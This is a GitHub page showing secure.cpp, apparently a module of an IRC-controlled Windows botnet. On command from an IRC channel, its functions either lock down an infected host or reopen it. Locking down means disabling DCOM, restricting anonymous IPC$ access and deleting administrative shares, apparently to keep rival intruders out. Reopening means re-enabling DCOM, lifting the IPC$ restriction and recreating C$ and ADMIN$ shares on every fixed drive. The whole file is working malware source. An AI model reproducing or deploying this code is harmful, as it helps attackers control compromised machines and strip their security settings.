-
Notifications
You must be signed in to change notification settings - Fork 16
/
Copy pathsecure.cpp
189 lines (163 loc) · 6.39 KB
/
secure.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
#include "includes.h"
#include "functions.h"
#include "externs.h"
// globals
#ifndef NO_SECSYSTEM
int secure_delay=120000;
#endif
NetShares ShareList[]={
{"IPC$",NULL},
{"ADMIN$",NULL},
{"C$","C:\\"},
{"D$","D:\\"}
};
DWORD WINAPI SecureThread(LPVOID param)
{
SECURE secure = *((SECURE *)param);
SECURE *secures = (SECURE *)param;
secures->gotinfo = TRUE;
if (secure.secure)
SecureSystem(secure.sock, secure.chan, secure.notice, secure.silent);
else
UnSecureSystem(secure.sock, secure.chan, secure.notice, secure.silent);
clearthread(secure.threadnum);
ExitThread(0);
}
BOOL SecureSystem(SOCKET sock, char *chan, BOOL notice, BOOL silent)
{
char sendbuf[IRCLINE];
if (!noadvapi32) {
HKEY hKey;
if(fRegOpenKeyEx(HKEY_LOCAL_MACHINE, regkey3, 0, KEY_READ|KEY_WRITE, &hKey) == ERROR_SUCCESS) {
TCHAR szDataBuf[]="N";
if(fRegSetValueEx(hKey, "EnableDCOM", NULL, REG_SZ, (LPBYTE)szDataBuf, strlen(szDataBuf)) != ERROR_SUCCESS)
sprintf(sendbuf,"[SECURE]: Disable DCOM failed.");
else
sprintf(sendbuf,"[SECURE]: DCOM disabled.");
fRegCloseKey(hKey);
} else
sprintf(sendbuf,"[SECURE]: Failed to open DCOM registry key.");
if (!silent) irc_privmsg(sock,chan, sendbuf, notice, TRUE);
addlog(sendbuf);
if (fRegOpenKeyEx(HKEY_LOCAL_MACHINE, regkey4, 0, KEY_ALL_ACCESS, &hKey) == ERROR_SUCCESS) {
DWORD dwData = 0x00000001;
if (fRegSetValueEx(hKey, "restrictanonymous", 0, REG_DWORD, (LPBYTE) &dwData, sizeof(DWORD)) != ERROR_SUCCESS)
sprintf(sendbuf,"[SECURE]: Failed to restrict access to the IPC$ Share.");
else
sprintf(sendbuf,"[SECURE]: Restricted access to the IPC$ Share.");
fRegCloseKey(hKey);
} else
sprintf(sendbuf,"[SECURE]: Failed to open IPC$ Restriction registry key.");
} else
sprintf(sendbuf,"[SECURE]: Advapi32.dll couldn't be loaded.");
if (!silent) irc_privmsg(sock,chan, sendbuf, notice, TRUE);
addlog(sendbuf);
if (!nonetapi32) {
PSHARE_INFO_502 pBuf,p;
NET_API_STATUS nStatus;
DWORD entriesread=0,totalread=0,resume=0;
do {
nStatus = fNetShareEnum(NULL, 502, (LPBYTE *) &pBuf, -1, &entriesread, &totalread, &resume);
if(nStatus == ERROR_SUCCESS || nStatus == ERROR_MORE_DATA) {
p = pBuf;
for(unsigned int i=1;i <= entriesread;i++) {
if (p->shi502_netname[wcslen(p->shi502_netname)-1] == '$') {
if(ShareDel(NULL,AsAnsiString(p->shi502_netname)) == NERR_Success)
_snprintf(sendbuf,sizeof(sendbuf),"[SECURE]: Share '%S' deleted.",p->shi502_netname);
else
_snprintf(sendbuf,sizeof(sendbuf),"[SECURE]: Failed to delete '%S' share.",p->shi502_netname);
if (!silent) irc_privmsg(sock,chan,sendbuf,notice, TRUE);
addlog(sendbuf);
}
p++;
}
fNetApiBufferFree(pBuf);
} else {
for(int i=0;i < (sizeof(ShareList) / sizeof (NetShares));i++) {
if(ShareDel(NULL,ShareList[i].ShareName) == NERR_Success)
_snprintf(sendbuf,sizeof(sendbuf),"[SECURE]: Share '%s' deleted.",ShareList[i].ShareName);
else
_snprintf(sendbuf,sizeof(sendbuf),"[SECURE]: Failed to delete '%s' share.",ShareList[i].ShareName);
if (!silent) irc_privmsg(sock,chan,sendbuf,notice, TRUE);
addlog(sendbuf);
}
}
} while (nStatus == ERROR_MORE_DATA);
sprintf(sendbuf,"[SECURE]: Network shares deleted.");
} else
sprintf(sendbuf,"[SECURE]: Netapi32.dll couldn't be loaded.");
if (!silent) irc_privmsg(sock,chan, sendbuf, notice);
addlog(sendbuf);
return TRUE;
}
BOOL UnSecureSystem(SOCKET sock, char *chan, BOOL notice, BOOL silent)
{
char sendbuf[IRCLINE];
if (!noadvapi32) {
HKEY hKey;
if(fRegOpenKeyEx(HKEY_LOCAL_MACHINE, regkey3, 0, KEY_READ|KEY_WRITE, &hKey) == ERROR_SUCCESS) {
TCHAR szDataBuf[]="Y";
if(fRegSetValueEx(hKey, "EnableDCOM", NULL, REG_SZ, (LPBYTE)szDataBuf, strlen(szDataBuf)) != ERROR_SUCCESS)
sprintf(sendbuf,"[SECURE]: Enable DCOM failed.");
else
sprintf(sendbuf,"[SECURE]: DCOM enabled.");
fRegCloseKey(hKey);
} else
sprintf(sendbuf,"[SECURE]: Failed to open DCOM registry key.");
if (!silent) irc_privmsg(sock,chan, sendbuf, notice, TRUE);
addlog(sendbuf);
if (fRegOpenKeyEx(HKEY_LOCAL_MACHINE, regkey4, 0, KEY_ALL_ACCESS, &hKey) == ERROR_SUCCESS) {
DWORD dwData = 0x00000000;
if (fRegSetValueEx(hKey, "restrictanonymous", 0, REG_DWORD, (LPBYTE) &dwData, sizeof(DWORD)) != ERROR_SUCCESS)
sprintf(sendbuf,"[SECURE]: Failed to unrestrict access to the IPC$ Share.");
else
sprintf(sendbuf,"[SECURE]: Unrestricted access to the IPC$ Share.");
fRegCloseKey(hKey);
} else
sprintf(sendbuf,"[SECURE]: Failed to open IPC$ restriction registry key.");
} else
sprintf(sendbuf,"[SECURE]: Advapi32.dll couldn't be loaded.");
if (!silent) irc_privmsg(sock,chan, sendbuf, notice, TRUE);
addlog(sendbuf);
if (!nonetapi32) {
for(int i=0;i < ((sizeof(ShareList) / sizeof (NetShares)) - 2);i++) {
if(ShareAdd(NULL,ShareList[i].ShareName,ShareList[i].SharePath) == NERR_Success)
_snprintf(sendbuf,sizeof(sendbuf),"[SECURE]: Share '%s' added.",ShareList[i].ShareName);
else
_snprintf(sendbuf,sizeof(sendbuf),"[SECURE]: Failed to add '%s' share.",ShareList[i].ShareName);
if (!silent) irc_privmsg(sock,chan,sendbuf,notice, TRUE);
addlog(sendbuf);
}
char sharename[10], sharepath[10];
DWORD dwDrives = GetLogicalDrives();
for(char cDrive='A'; dwDrives!=0; cDrive++, dwDrives=(dwDrives>>1)) {
if((dwDrives & 1)==1 && cDrive != 'A') {
_snprintf(sharename,sizeof(sharename),"%c$",cDrive);
_snprintf(sharepath,sizeof(sharepath),"%c:\\",cDrive);
if (fGetDriveType(sharepath) == DRIVE_FIXED) {
if(ShareAdd(NULL,sharename,sharepath) == NERR_Success)
_snprintf(sendbuf,sizeof(sendbuf),"[SECURE]: Share '%s' added.",sharename);
else
_snprintf(sendbuf,sizeof(sendbuf),"[SECURE]: Failed to add '%s' share.",sharename);
if (!silent) irc_privmsg(sock,chan,sendbuf,notice, TRUE);
addlog(sendbuf);
}
}
}
sprintf(sendbuf,"[SECURE]: Network shares added.");
} else
sprintf(sendbuf,"[SECURE]: Netapi32.dll couldn't be loaded.");
if (!silent) irc_privmsg(sock,chan, sendbuf, notice);
addlog(sendbuf);
return TRUE;
}
#ifndef NO_SECSYSTEM
DWORD WINAPI AutoSecure(LPVOID param)
{
while (1) {
SecureSystem(0,NULL,FALSE,TRUE);
Sleep(secure_delay);
}
ExitThread (0);
}
#endif